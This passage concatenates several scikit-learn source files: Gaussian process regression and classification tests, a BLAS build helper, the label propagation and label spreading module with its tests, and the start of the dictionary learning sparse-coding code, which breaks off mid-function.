        assert_almost_equal(gpr.kernel_.theta, gpr_2d.kernel_.theta, 4)


def test_custom_optimizer():
    """ Test that GPR can use externally defined optimizers. """
    # Define a dummy optimizer that simply tests 50 random hyperparameters
    def optimizer(obj_func, initial_theta, bounds):
        rng = np.random.RandomState(0)
        theta_opt, func_min = \
            initial_theta, obj_func(initial_theta, eval_gradient=False)
        for _ in range(50):
            theta = np.atleast_1d(rng.uniform(np.maximum(-2, bounds[:, 0]),
                                              np.minimum(1, bounds[:, 1])))
            f = obj_func(theta, eval_gradient=False)
            if f < func_min:
                theta_opt, func_min = theta, f
        return theta_opt, func_min

    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpr = GaussianProcessRegressor(kernel=kernel, optimizer=optimizer)
        gpr.fit(X, y)
        # Checks that optimizer improved marginal likelihood
        assert_greater(gpr.log_marginal_likelihood(gpr.kernel_.theta),
                       gpr.log_marginal_likelihood(gpr.kernel.theta))


def test_duplicate_input():
    """ Test GPR can handle two different output-values for the same input. """
    for kernel in kernels:
        gpr_equal_inputs = \
            GaussianProcessRegressor(kernel=kernel, alpha=1e-2)
        gpr_similar_inputs = \
            GaussianProcessRegressor(kernel=kernel, alpha=1e-2)

        X_ = np.vstack((X, X[0]))
        y_ = np.hstack((y, y[0] + 1))
        gpr_equal_inputs.fit(X_, y_)

        X_ = np.vstack((X, X[0] + 1e-15))
        y_ = np.hstack((y, y[0] + 1))
        gpr_similar_inputs.fit(X_, y_)

        X_test = np.linspace(0, 10, 100)[:, None]
        y_pred_equal, y_std_equal = \
            gpr_equal_inputs.predict(X_test, return_std=True)
        y_pred_similar, y_std_similar = \
            gpr_similar_inputs.predict(X_test, return_std=True)

        assert_almost_equal(y_pred_equal, y_pred_similar)
        assert_almost_equal(y_std_equal, y_std_similar)






"""Testing for Gaussian process classification """

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause

import numpy as np

from scipy.optimize import approx_fprime

from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF, ConstantKernel as C

from sklearn.utils.testing import (assert_true, assert_greater,
                                   assert_almost_equal, assert_array_equal)


def f(x):
    return np.sin(x)
X = np.atleast_2d(np.linspace(0, 10, 30)).T
X2 = np.atleast_2d([2., 4., 5.5, 6.5, 7.5]).T
y = np.array(f(X).ravel() > 0, dtype=int)
fX = f(X).ravel()
y_mc = np.empty(y.shape, dtype=int)  # multi-class
y_mc[fX < -0.35] = 0
y_mc[(fX >= -0.35) & (fX < 0.35)] = 1
y_mc[fX > 0.35] = 2


fixed_kernel = RBF(length_scale=1.0, length_scale_bounds="fixed")
kernels = [RBF(length_scale=0.1), fixed_kernel,
           RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)),
           C(1.0, (1e-2, 1e2)) *
           RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3))]


def test_predict_consistent():
    """ Check binary predict decision has also predicted probability above 0.5.
    """
    for kernel in kernels:
        gpc = GaussianProcessClassifier(kernel=kernel).fit(X, y)
        assert_array_equal(gpc.predict(X),
                           gpc.predict_proba(X)[:, 1] >= 0.5)


def test_lml_improving():
    """ Test that hyperparameter-tuning improves log-marginal likelihood. """
    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpc = GaussianProcessClassifier(kernel=kernel).fit(X, y)
        assert_greater(gpc.log_marginal_likelihood(gpc.kernel_.theta),
                       gpc.log_marginal_likelihood(kernel.theta))


def test_lml_precomputed():
    """ Test that lml of optimized kernel is stored correctly. """
    for kernel in kernels:
        gpc = GaussianProcessClassifier(kernel=kernel).fit(X, y)
        assert_almost_equal(gpc.log_marginal_likelihood(gpc.kernel_.theta),
                            gpc.log_marginal_likelihood(), 7)


def test_converged_to_local_maximum():
    """ Test that we are in local maximum after hyperparameter-optimization."""
    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpc = GaussianProcessClassifier(kernel=kernel).fit(X, y)

        lml, lml_gradient = \
            gpc.log_marginal_likelihood(gpc.kernel_.theta, True)

        assert_true(np.all((np.abs(lml_gradient) < 1e-4) |
                           (gpc.kernel_.theta == gpc.kernel_.bounds[:, 0]) |
                           (gpc.kernel_.theta == gpc.kernel_.bounds[:, 1])))


def test_lml_gradient():
    """ Compare analytic and numeric gradient of log marginal likelihood. """
    for kernel in kernels:
        gpc = GaussianProcessClassifier(kernel=kernel).fit(X, y)

        lml, lml_gradient = gpc.log_marginal_likelihood(kernel.theta, True)
        lml_gradient_approx = \
            approx_fprime(kernel.theta,
                          lambda theta: gpc.log_marginal_likelihood(theta,
                                                                    False),
                          1e-10)

        assert_almost_equal(lml_gradient, lml_gradient_approx, 3)


def test_random_starts():
    """
    Test that an increasing number of random-starts of GP fitting only
    increases the log marginal likelihood of the chosen theta.
    """
    n_samples, n_features = 25, 2
    np.random.seed(0)
    rng = np.random.RandomState(0)
    X = rng.randn(n_samples, n_features) * 2 - 1
    y = (np.sin(X).sum(axis=1) + np.sin(3 * X).sum(axis=1)) > 0

    kernel = C(1.0, (1e-2, 1e2)) \
        * RBF(length_scale=[1e-3] * n_features,
              length_scale_bounds=[(1e-4, 1e+2)] * n_features)
    last_lml = -np.inf
    for n_restarts_optimizer in range(5):
        gp = GaussianProcessClassifier(
            kernel=kernel, n_restarts_optimizer=n_restarts_optimizer,
            random_state=0).fit(X, y)
        lml = gp.log_marginal_likelihood(gp.kernel_.theta)
        assert_greater(lml, last_lml - np.finfo(np.float32).eps)
        last_lml = lml


def test_custom_optimizer():
    """ Test that GPC can use externally defined optimizers. """
    # Define a dummy optimizer that simply tests 50 random hyperparameters
    def optimizer(obj_func, initial_theta, bounds):
        rng = np.random.RandomState(0)
        theta_opt, func_min = \
            initial_theta, obj_func(initial_theta, eval_gradient=False)
        for _ in range(50):
            theta = np.atleast_1d(rng.uniform(np.maximum(-2, bounds[:, 0]),
                                              np.minimum(1, bounds[:, 1])))
            f = obj_func(theta, eval_gradient=False)
            if f < func_min:
                theta_opt, func_min = theta, f
        return theta_opt, func_min

    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpc = GaussianProcessClassifier(kernel=kernel, optimizer=optimizer)
        gpc.fit(X, y_mc)
        # Checks that optimizer improved marginal likelihood
        assert_greater(gpc.log_marginal_likelihood(gpc.kernel_.theta),
                       gpc.log_marginal_likelihood(kernel.theta))


def test_multi_class():
    """ Test GPC for multi-class classification problems. """
    for kernel in kernels:
        gpc = GaussianProcessClassifier(kernel=kernel)
        gpc.fit(X, y_mc)

        y_prob = gpc.predict_proba(X2)
        assert_almost_equal(y_prob.sum(1), 1)

        y_pred = gpc.predict(X2)
        assert_array_equal(np.argmax(y_prob, 1), y_pred)


def test_multi_class_n_jobs():
    """ Test that multi-class GPC produces identical results with n_jobs>1. """
    for kernel in kernels:
        gpc = GaussianProcessClassifier(kernel=kernel)
        gpc.fit(X, y_mc)

        gpc_2 = GaussianProcessClassifier(kernel=kernel, n_jobs=2)
        gpc_2.fit(X, y_mc)

        y_prob = gpc.predict_proba(X2)
        y_prob_2 = gpc_2.predict_proba(X2)
        assert_almost_equal(y_prob, y_prob_2)






"""
Utilities useful during the build.
"""
# author: Andy Mueller, Gael Varoquaux
# license: BSD

from __future__ import division, print_function, absolute_import

DEFAULT_ROOT = 'sklearn'

from numpy.distutils.system_info import get_info


def get_blas_info():
    def atlas_not_found(blas_info_):
        def_macros = blas_info.get('define_macros', [])
        for x in def_macros:
            if x[0] == "NO_ATLAS_INFO":
                # if x[1] != 1 we should have lapack
                # how do we do that now?
                return True
            if x[0] == "ATLAS_INFO":
                if "None" in x[1]:
                    # this one turned up on FreeBSD
                    return True
        return False

    blas_info = get_info('blas_opt', 0)
    if (not blas_info) or atlas_not_found(blas_info):
        cblas_libs = ['cblas']
        blas_info.pop('libraries', None)
    else:
        cblas_libs = blas_info.pop('libraries', [])

    return cblas_libs, blas_info






"""
The :mod:`sklearn.semi_supervised` module implements semi-supervised learning
algorithms. These algorithms utilized small amounts of labeled data and large
amounts of unlabeled data for classification tasks. This module includes Label
Propagation.
"""

from .label_propagation import LabelPropagation, LabelSpreading

__all__ = ['LabelPropagation', 'LabelSpreading']






# coding=utf8
"""
Label propagation in the context of this module refers to a set of
semisupervised classification algorithms. In the high level, these algorithms
work by forming a fully-connected graph between all points given and solving
for the steady-state distribution of labels at each point.

These algorithms perform very well in practice. The cost of running can be very
expensive, at approximately O(N^3) where N is the number of (labeled and
unlabeled) points. The theory (why they perform so well) is motivated by
intuitions from random walk algorithms and geometric relationships in the data.
For more information see the references below.

Model Features
--------------
Label clamping:
  The algorithm tries to learn distributions of labels over the dataset. In the
  "Hard Clamp" mode, the true ground labels are never allowed to change. They
  are clamped into position. In the "Soft Clamp" mode, they are allowed some
  wiggle room, but some alpha of their original value will always be retained.
  Hard clamp is the same as soft clamping with alpha set to 1.

Kernel:
  A function which projects a vector into some higher dimensional space. This
  implementation supprots RBF and KNN kernels. Using the RBF kernel generates
  a dense matrix of size O(N^2). KNN kernel will generate a sparse matrix of
  size O(k*N) which will run much faster. See the documentation for SVMs for
  more info on kernels.

Examples
--------
>>> from sklearn import datasets
>>> from sklearn.semi_supervised import LabelPropagation
>>> label_prop_model = LabelPropagation()
>>> iris = datasets.load_iris()
>>> random_unlabeled_points = np.where(np.random.randint(0, 2,
...        size=len(iris.target)))
>>> labels = np.copy(iris.target)
>>> labels[random_unlabeled_points] = -1
>>> label_prop_model.fit(iris.data, labels)
... # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
LabelPropagation(...)

Notes
-----
References:
[1] Yoshua Bengio, Olivier Delalleau, Nicolas Le Roux. In Semi-Supervised
Learning (2006), pp. 193-216

[2] Olivier Delalleau, Yoshua Bengio, Nicolas Le Roux. Efficient
Non-Parametric Function Induction in Semi-Supervised Learning. AISTAT 2005
"""

# Authors: Clay Woolam <clay@woolam.org>
# License: BSD
from abc import ABCMeta, abstractmethod

import numpy as np
from scipy import sparse

from ..base import BaseEstimator, ClassifierMixin
from ..externals import six
from ..metrics.pairwise import rbf_kernel
from ..neighbors.unsupervised import NearestNeighbors
from ..utils.extmath import safe_sparse_dot
from ..utils.graph import graph_laplacian
from ..utils.multiclass import check_classification_targets
from ..utils.validation import check_X_y, check_is_fitted, check_array


# Helper functions

def _not_converged(y_truth, y_prediction, tol=1e-3):
    """basic convergence check"""
    return np.abs(y_truth - y_prediction).sum() > tol


class BaseLabelPropagation(six.with_metaclass(ABCMeta, BaseEstimator,
                                              ClassifierMixin)):
    """Base class for label propagation module.

    Parameters
    ----------
    kernel : {'knn', 'rbf'}
        String identifier for kernel function to use.
        Only 'rbf' and 'knn' kernels are currently supported..

    gamma : float
        Parameter for rbf kernel

    alpha : float
        Clamping factor

    max_iter : float
        Change maximum number of iterations allowed

    tol : float
        Convergence tolerance: threshold to consider the system at steady
        state

    n_neighbors : integer > 0
        Parameter for knn kernel

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    """

    def __init__(self, kernel='rbf', gamma=20, n_neighbors=7,
                 alpha=1, max_iter=30, tol=1e-3, n_jobs=1):

        self.max_iter = max_iter
        self.tol = tol

        # kernel parameters
        self.kernel = kernel
        self.gamma = gamma
        self.n_neighbors = n_neighbors

        # clamping factor
        self.alpha = alpha

        self.n_jobs = n_jobs

    def _get_kernel(self, X, y=None):
        if self.kernel == "rbf":
            if y is None:
                return rbf_kernel(X, X, gamma=self.gamma)
            else:
                return rbf_kernel(X, y, gamma=self.gamma)
        elif self.kernel == "knn":
            if self.nn_fit is None:
                self.nn_fit = NearestNeighbors(self.n_neighbors,
                                               n_jobs=self.n_jobs).fit(X)
            if y is None:
                return self.nn_fit.kneighbors_graph(self.nn_fit._fit_X,
                                                    self.n_neighbors,
                                                    mode='connectivity')
            else:
                return self.nn_fit.kneighbors(y, return_distance=False)
        else:
            raise ValueError("%s is not a valid kernel. Only rbf and knn"
                             " are supported at this time" % self.kernel)

    @abstractmethod
    def _build_graph(self):
        raise NotImplementedError("Graph construction must be implemented"
                                  " to fit a label propagation model.")

    def predict(self, X):
        """Performs inductive inference across the model.

        Parameters
        ----------
        X : array_like, shape = [n_samples, n_features]

        Returns
        -------
        y : array_like, shape = [n_samples]
            Predictions for input data
        """
        probas = self.predict_proba(X)
        return self.classes_[np.argmax(probas, axis=1)].ravel()

    def predict_proba(self, X):
        """Predict probability for each possible outcome.

        Compute the probability estimates for each single sample in X
        and each possible outcome seen during training (categorical
        distribution).

        Parameters
        ----------
        X : array_like, shape = [n_samples, n_features]

        Returns
        -------
        probabilities : array, shape = [n_samples, n_classes]
            Normalized probability distributions across
            class labels
        """
        check_is_fitted(self, 'X_')

        X_2d = check_array(X, accept_sparse=['csc', 'csr', 'coo', 'dok',
                                             'bsr', 'lil', 'dia'])
        weight_matrices = self._get_kernel(self.X_, X_2d)
        if self.kernel == 'knn':
            probabilities = []
            for weight_matrix in weight_matrices:
                ine = np.sum(self.label_distributions_[weight_matrix], axis=0)
                probabilities.append(ine)
            probabilities = np.array(probabilities)
        else:
            weight_matrices = weight_matrices.T
            probabilities = np.dot(weight_matrices, self.label_distributions_)
        normalizer = np.atleast_2d(np.sum(probabilities, axis=1)).T
        probabilities /= normalizer
        return probabilities

    def fit(self, X, y):
        """Fit a semi-supervised label propagation model based

        All the input data is provided matrix X (labeled and unlabeled)
        and corresponding label matrix y with a dedicated marker value for
        unlabeled samples.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            A {n_samples by n_samples} size matrix will be created from this

        y : array_like, shape = [n_samples]
            n_labeled_samples (unlabeled points are marked as -1)
            All unlabeled samples will be transductively assigned labels

        Returns
        -------
        self : returns an instance of self.
        """
        X, y = check_X_y(X, y)
        self.X_ = X
        check_classification_targets(y)

        # actual graph construction (implementations should override this)
        graph_matrix = self._build_graph()

        # label construction
        # construct a categorical distribution for classification only
        classes = np.unique(y)
        classes = (classes[classes != -1])
        self.classes_ = classes

        n_samples, n_classes = len(y), len(classes)

        y = np.asarray(y)
        unlabeled = y == -1
        clamp_weights = np.ones((n_samples, 1))
        clamp_weights[unlabeled, 0] = self.alpha

        # initialize distributions
        self.label_distributions_ = np.zeros((n_samples, n_classes))
        for label in classes:
            self.label_distributions_[y == label, classes == label] = 1

        y_static = np.copy(self.label_distributions_)
        if self.alpha > 0.:
            y_static *= 1 - self.alpha
        y_static[unlabeled] = 0

        l_previous = np.zeros((self.X_.shape[0], n_classes))

        remaining_iter = self.max_iter
        if sparse.isspmatrix(graph_matrix):
            graph_matrix = graph_matrix.tocsr()
        while (_not_converged(self.label_distributions_, l_previous, self.tol)
               and remaining_iter > 1):
            l_previous = self.label_distributions_
            self.label_distributions_ = safe_sparse_dot(
                graph_matrix, self.label_distributions_)
            # clamp
            self.label_distributions_ = np.multiply(
                clamp_weights, self.label_distributions_) + y_static
            remaining_iter -= 1

        normalizer = np.sum(self.label_distributions_, axis=1)[:, np.newaxis]
        self.label_distributions_ /= normalizer
        # set the transduction item
        transduction = self.classes_[np.argmax(self.label_distributions_,
                                               axis=1)]
        self.transduction_ = transduction.ravel()
        self.n_iter_ = self.max_iter - remaining_iter
        return self


class LabelPropagation(BaseLabelPropagation):
    """Label Propagation classifier

    Read more in the :ref:`User Guide <label_propagation>`.

    Parameters
    ----------
    kernel : {'knn', 'rbf'}
        String identifier for kernel function to use.
        Only 'rbf' and 'knn' kernels are currently supported..

    gamma : float
        Parameter for rbf kernel

    n_neighbors : integer > 0
        Parameter for knn kernel

    alpha : float
        Clamping factor

    max_iter : float
        Change maximum number of iterations allowed

    tol : float
        Convergence tolerance: threshold to consider the system at steady
        state

    Attributes
    ----------
    X_ : array, shape = [n_samples, n_features]
        Input array.

    classes_ : array, shape = [n_classes]
        The distinct labels used in classifying instances.

    label_distributions_ : array, shape = [n_samples, n_classes]
        Categorical distribution for each item.

    transduction_ : array, shape = [n_samples]
        Label assigned to each item via the transduction.

    n_iter_ : int
        Number of iterations run.

    Examples
    --------
    >>> from sklearn import datasets
    >>> from sklearn.semi_supervised import LabelPropagation
    >>> label_prop_model = LabelPropagation()
    >>> iris = datasets.load_iris()
    >>> random_unlabeled_points = np.where(np.random.randint(0, 2,
    ...    size=len(iris.target)))
    >>> labels = np.copy(iris.target)
    >>> labels[random_unlabeled_points] = -1
    >>> label_prop_model.fit(iris.data, labels)
    ... # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    LabelPropagation(...)

    References
    ----------
    Xiaojin Zhu and Zoubin Ghahramani. Learning from labeled and unlabeled data
    with label propagation. Technical Report CMU-CALD-02-107, Carnegie Mellon
    University, 2002 http://pages.cs.wisc.edu/~jerryzhu/pub/CMU-CALD-02-107.pdf

    See Also
    --------
    LabelSpreading : Alternate label propagation strategy more robust to noise
    """

    def _build_graph(self):
        """Matrix representing a fully connected graph between each sample

        This basic implementation creates a non-stochastic affinity matrix, so
        class distributions will exceed 1 (normalization may be desired).
        """
        if self.kernel == 'knn':
            self.nn_fit = None
        affinity_matrix = self._get_kernel(self.X_)
        normalizer = affinity_matrix.sum(axis=0)
        if sparse.isspmatrix(affinity_matrix):
            affinity_matrix.data /= np.diag(np.array(normalizer))
        else:
            affinity_matrix /= normalizer[:, np.newaxis]
        return affinity_matrix


class LabelSpreading(BaseLabelPropagation):
    """LabelSpreading model for semi-supervised learning

    This model is similar to the basic Label Propgation algorithm,
    but uses affinity matrix based on the normalized graph Laplacian
    and soft clamping across the labels.

    Read more in the :ref:`User Guide <label_propagation>`.

    Parameters
    ----------
    kernel : {'knn', 'rbf'}
        String identifier for kernel function to use.
        Only 'rbf' and 'knn' kernels are currently supported.

    gamma : float
      parameter for rbf kernel

    n_neighbors : integer > 0
      parameter for knn kernel

    alpha : float
      clamping factor

    max_iter : float
      maximum number of iterations allowed

    tol : float
      Convergence tolerance: threshold to consider the system at steady
      state

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Attributes
    ----------
    X_ : array, shape = [n_samples, n_features]
        Input array.

    classes_ : array, shape = [n_classes]
        The distinct labels used in classifying instances.

    label_distributions_ : array, shape = [n_samples, n_classes]
        Categorical distribution for each item.

    transduction_ : array, shape = [n_samples]
        Label assigned to each item via the transduction.

    n_iter_ : int
        Number of iterations run.

    Examples
    --------
    >>> from sklearn import datasets
    >>> from sklearn.semi_supervised import LabelSpreading
    >>> label_prop_model = LabelSpreading()
    >>> iris = datasets.load_iris()
    >>> random_unlabeled_points = np.where(np.random.randint(0, 2,
    ...    size=len(iris.target)))
    >>> labels = np.copy(iris.target)
    >>> labels[random_unlabeled_points] = -1
    >>> label_prop_model.fit(iris.data, labels)
    ... # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    LabelSpreading(...)

    References
    ----------
    Dengyong Zhou, Olivier Bousquet, Thomas Navin Lal, Jason Weston,
    Bernhard Schoelkopf. Learning with local and global consistency (2004)
    http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.115.3219

    See Also
    --------
    LabelPropagation : Unregularized graph based semi-supervised learning
    """

    def __init__(self, kernel='rbf', gamma=20, n_neighbors=7, alpha=0.2,
                 max_iter=30, tol=1e-3, n_jobs=1):

        # this one has different base parameters
        super(LabelSpreading, self).__init__(kernel=kernel, gamma=gamma,
                                             n_neighbors=n_neighbors,
                                             alpha=alpha, max_iter=max_iter,
                                             tol=tol,
                                             n_jobs=n_jobs)

    def _build_graph(self):
        """Graph matrix for Label Spreading computes the graph laplacian"""
        # compute affinity matrix (or gram matrix)
        if self.kernel == 'knn':
            self.nn_fit = None
        n_samples = self.X_.shape[0]
        affinity_matrix = self._get_kernel(self.X_)
        laplacian = graph_laplacian(affinity_matrix, normed=True)
        laplacian = -laplacian
        if sparse.isspmatrix(laplacian):
            diag_mask = (laplacian.row == laplacian.col)
            laplacian.data[diag_mask] = 0.0
        else:
            laplacian.flat[::n_samples + 1] = 0.0  # set diag to 0.0
        return laplacian






""" test the label propagation module """

import nose
import numpy as np

from sklearn.semi_supervised import label_propagation
from numpy.testing import assert_array_almost_equal
from numpy.testing import assert_array_equal


ESTIMATORS = [
    (label_propagation.LabelPropagation, {'kernel': 'rbf'}),
    (label_propagation.LabelPropagation, {'kernel': 'knn', 'n_neighbors': 2}),
    (label_propagation.LabelSpreading, {'kernel': 'rbf'}),
    (label_propagation.LabelSpreading, {'kernel': 'knn', 'n_neighbors': 2})
]


def test_fit_transduction():
    samples = [[1., 0.], [0., 2.], [1., 3.]]
    labels = [0, 1, -1]
    for estimator, parameters in ESTIMATORS:
        clf = estimator(**parameters).fit(samples, labels)
        nose.tools.assert_equal(clf.transduction_[2], 1)


def test_distribution():
    samples = [[1., 0.], [0., 1.], [1., 1.]]
    labels = [0, 1, -1]
    for estimator, parameters in ESTIMATORS:
        clf = estimator(**parameters).fit(samples, labels)
        if parameters['kernel'] == 'knn':
            continue    # unstable test; changes in k-NN ordering break it
            assert_array_almost_equal(clf.predict_proba([[1., 0.0]]),
                                      np.array([[1., 0.]]), 2)
        else:
            assert_array_almost_equal(np.asarray(clf.label_distributions_[2]),
                                      np.array([.5, .5]), 2)


def test_predict():
    samples = [[1., 0.], [0., 2.], [1., 3.]]
    labels = [0, 1, -1]
    for estimator, parameters in ESTIMATORS:
        clf = estimator(**parameters).fit(samples, labels)
        assert_array_equal(clf.predict([[0.5, 2.5]]), np.array([1]))


def test_predict_proba():
    samples = [[1., 0.], [0., 1.], [1., 2.5]]
    labels = [0, 1, -1]
    for estimator, parameters in ESTIMATORS:
        clf = estimator(**parameters).fit(samples, labels)
        assert_array_almost_equal(clf.predict_proba([[1., 1.]]),
                                  np.array([[0.5, 0.5]]))












""" Dictionary learning
"""
from __future__ import print_function
# Author: Vlad Niculae, Gael Varoquaux, Alexandre Gramfort
# License: BSD 3 clause

import time
import sys
import itertools

from math import sqrt, ceil

import numpy as np
from scipy import linalg
from numpy.lib.stride_tricks import as_strided

from ..base import BaseEstimator, TransformerMixin
from ..externals.joblib import Parallel, delayed, cpu_count
from ..externals.six.moves import zip
from ..utils import (check_array, check_random_state, gen_even_slices,
                     gen_batches, _get_n_jobs)
from ..utils.extmath import randomized_svd, row_norms
from ..utils.validation import check_is_fitted
from ..linear_model import Lasso, orthogonal_mp_gram, LassoLars, Lars


def _sparse_encode(X, dictionary, gram, cov=None, algorithm='lasso_lars',
                   regularization=None, copy_cov=True,
                   init=None, max_iter=1000, check_input=True, verbose=0):
    """Generic sparse coding

    Each column of the result is the solution to a Lasso problem.

    Parameters
    ----------
    X: array of shape (n_samples, n_features)
        Data matrix.

    dictionary: array of shape (n_components, n_features)
        The dictionary matrix against which to solve the sparse coding of
        the data. Some of the algorithms assume normalized rows.

    gram: None | array, shape=(n_components, n_components)
        Precomputed Gram matrix, dictionary * dictionary'
        gram can be None if method is 'threshold'.

    cov: array, shape=(n_components, n_samples)
        Precomputed covariance, dictionary * X'

    algorithm: {'lasso_lars', 'lasso_cd', 'lars', 'omp', 'threshold'}
        lars: uses the least angle regression method (linear_model.lars_path)
        lasso_lars: uses Lars to compute the Lasso solution
        lasso_cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). lasso_lars will be faster if
        the estimated components are sparse.
        omp: uses orthogonal matching pursuit to estimate the sparse solution
        threshold: squashes to zero all coefficients less than regularization
        from the projection dictionary * data'

    regularization : int | float
        The regularization parameter. It corresponds to alpha when
        algorithm is 'lasso_lars', 'lasso_cd' or 'threshold'.
        Otherwise it corresponds to n_nonzero_coefs.

    init: array of shape (n_samples, n_components)
        Initialization value of the sparse code. Only used if
        `algorithm='lasso_cd'`.

    max_iter: int, 1000 by default
        Maximum number of iterations to perform if `algorithm='lasso_cd'`.

    copy_cov: boolean, optional
        Whether to copy the precomputed covariance matrix; if False, it may be
        overwritten.

    check_input: boolean, optional
        If False, the input arrays X and dictionary will not be checked.

    verbose: int
        Controls the verbosity; the higher, the more messages. Defaults to 0.

    Returns
    -------
    code: array of shape (n_components, n_features)
        The sparse codes

    See also
    --------
    sklearn.linear_model.lars_path
    sklearn.linear_model.orthogonal_mp
    sklearn.linear_model.Lasso
    SparseCoder
    """
    if X.ndim == 1:
        X = X[:, np.newaxis]
    n_samples, n_features = X.shape
    if cov is None and algorithm != 'lasso_cd':
        # overwriting cov is safe
        copy_cov = False
        cov = np.dot(dictionary, X.T)

    if algorithm == 'lasso_lars':
        alpha = float(regularization) / n_features  # account for scaling
        try:
            err_mgt = np.seterr(all='ignore')

            # Not passing in verbose=max(0, verbose-1) because Lars.fit already
            # corrects the verbosity level.
            lasso_lars = LassoLars(alpha=alpha, fit_intercept=False,
                                   verbose=verbose, normalize=False,
                                   precompute=gram, fit_path=False)
            lasso_lars.fit(dictionary.T, X.T, Xy=cov)
            new_code = lasso_lars.coef_
        finally:
            np.seterr(**err_mgt)

    elif algorithm == 'lasso_cd':
        alpha = float(regularization) / n_features  # account for scaling

        # TODO: Make verbosity argument for Lasso?
        # sklearn.linear_model.coordinate_descent.enet_path has a verbosity
        # argument that we could pass in from Lasso.
        clf = Lasso(alpha=alpha, fit_intercept=False, normalize=False,
                    precompute=gram, max_iter=max_iter, warm_start=True)
        clf.coef_ = init
        clf.fit(dictionary.T, X.T, check_input=check_input)
        new_code = clf.coef_

    elif algorithm == 'lars':
        try:
            err_mgt = np.seterr(all='ignore')

            # Not passing in verbose=max(0, verbose-1) because Lars.fit already
            # corrects the verbosity level.
            lars = Lars(fit_intercept=False, verbose=verbose, normalize=False,
                        precompute=gram, n_nonzero_coefs=int(regularization),
                        fit_path=False)
            lars.fit(dictionary.T, X.T, Xy=cov)
            new_code = lars.coef_
        finally:
            np.seterr(**err_mgt)

    elif algorithm == 'threshold':
        new_code = ((np.sign(cov) *
                    np.maximum(np.abs(cov) - regularization, 0)).T)

    elif algorithm == 'omp':
        # TODO: Should verbose argument be passed to this?
        new_code = orthogonal_mp_gram(
            Gram=gram, Xy=cov, n_nonzero_coefs=int(regularization),
            tol=None, norms_squared=row_norms(X, squared=True),
            copy_Xy=copy_cov).T
    else:
        raise ValueError('Sparse coding method must be "lasso_lars" '
                         '"lasso_cd",  "lasso", "threshold" or "omp", got %s.'
                         % algorithm)
    return new_code


# XXX : could be moved to the linear_model module
def sparse_encode(X, dictionary, gram=None, cov=None, algorithm='lasso_lars',
                  n_nonzero_coefs=None, alpha=None, copy_cov=True, init=None,
                  max_iter=1000, n_jobs=1, check_input=True, verbose=0):
    """Sparse coding

    Each row of the result is the solution to a sparse coding problem.
    The goal is to find a sparse array `code` such that::

        X ~= code * dictionary

    Read more in the :ref:`User Guide <SparseCoder>`.

    Parameters
    ----------
    X: array of shape (n_samples, n_features)
        Data matrix

    dictionary: array of shape (n_components, n_features)
        The dictionary matrix against which to solve the sparse coding of
        the data. Some of the algorithms assume normalized rows for meaningful
        output.

    gram: array, shape=(n_components, n_components)
        Precomputed Gram matrix, dictionary * dictionary'

    cov: array, shape=(n_components, n_samples)
        Precomputed covariance, dictionary' * X

    algorithm: {'lasso_lars', 'lasso_cd', 'lars', 'omp', 'threshold'}
        lars: uses the least angle regression method (linear_model.lars_path)
        lasso_lars: uses Lars to compute the Lasso solution
        lasso_cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). lasso_lars will be faster if
        the estimated components are sparse.
        omp: uses orthogonal matching pursuit to estimate the sparse solution
        threshold: squashes to zero all coefficients less than alpha from
        the projection dictionary * X'

    n_nonzero_coefs: int, 0.1 * n_features by default
        Number of nonzero coefficients to target in each column of the
        solution. This is only used by `algorithm='lars'` and `algorithm='omp'`
        and is overridden by `alpha` in the `omp` case.

    alpha: float, 1. by default
        If `algorithm='lasso_lars'` or `algorithm='lasso_cd'`, `alpha` is the
        penalty applied to the L1 norm.
        If `algorithm='threshold'`, `alpha` is the absolute value of the
        threshold below which coefficients will be squashed to zero.
        If `algorithm='omp'`, `alpha` is the tolerance parameter: the value of
        the reconstruction error targeted. In this case, it overrides
        `n_nonzero_coefs`.

    init: array of shape (n_samples, n_components)
        Initialization value of the sparse codes. Only used if
        `algorithm='lasso_cd'`.

    max_iter: int, 1000 by default
        Maximum number of iterations to perform if `algorithm='lasso_cd'`.

    copy_cov: boolean, optional
        Whether to copy the precomputed covariance matrix; if False, it may be
        overwritten.

    n_jobs: int, optional
        Number of parallel jobs to run.

    check_input: boolean, optional
        If False, the input arrays X and dictionary will not be checked.

    verbose : int, optional
        Controls the verbosity; the higher, the more messages. Defaults to 0.

    Returns
    -------
    code: array of shape (n_samples, n_components)
        The sparse codes

    See also
    --------
    sklearn.linear_model.lars_path
    sklearn.linear_model.orthogonal_mp
    sklearn.linear_model.Lasso
    SparseCoder
    """
    if check_input:
        if algorithm == 'lasso_cd':
            dictionary = check_array(dictionary, order='C', dtype='float64')
            X = check_array(X, order='C', dtype='float64')
        else:
            dictionary = check_array(dictionary)
            X = check_array(X)

    n_samples, n_features = X.shape
    n_components = dictionary.shape[0]

    if gram is None and algorithm != 'threshold':
        gram = np.dot(dictionary, dictionary.T)

    if cov is None and algorithm != 'lasso_cd':
        copy_cov = False
        cov = np.dot(dictionary, X.T)

    if algorithm in ('lars', 'omp'):
        regularization = n_nonzero_coefs
        if regularization is None:
            regularization = min(max(n_features / 10, 1), n_components)
    else:
        regularization = alpha
        if regularization is None:
            regularization = 1.

    if n_jobs == 1 or algorithm == 'threshold':
        code = _sparse_encode(X,
                              dictionary, gram, cov=cov,
                              algorithm=algorithm,
                              regularization=regularization, copy_cov=copy_cov,
                              init=init,
                              max_iter=max_iter,
                              check_input=False,
                              verbose=verbose)
        # This ensure that dimensionality of code is always 2,
        # consistant with the case n_jobs > 1
        if code.ndim == 1:
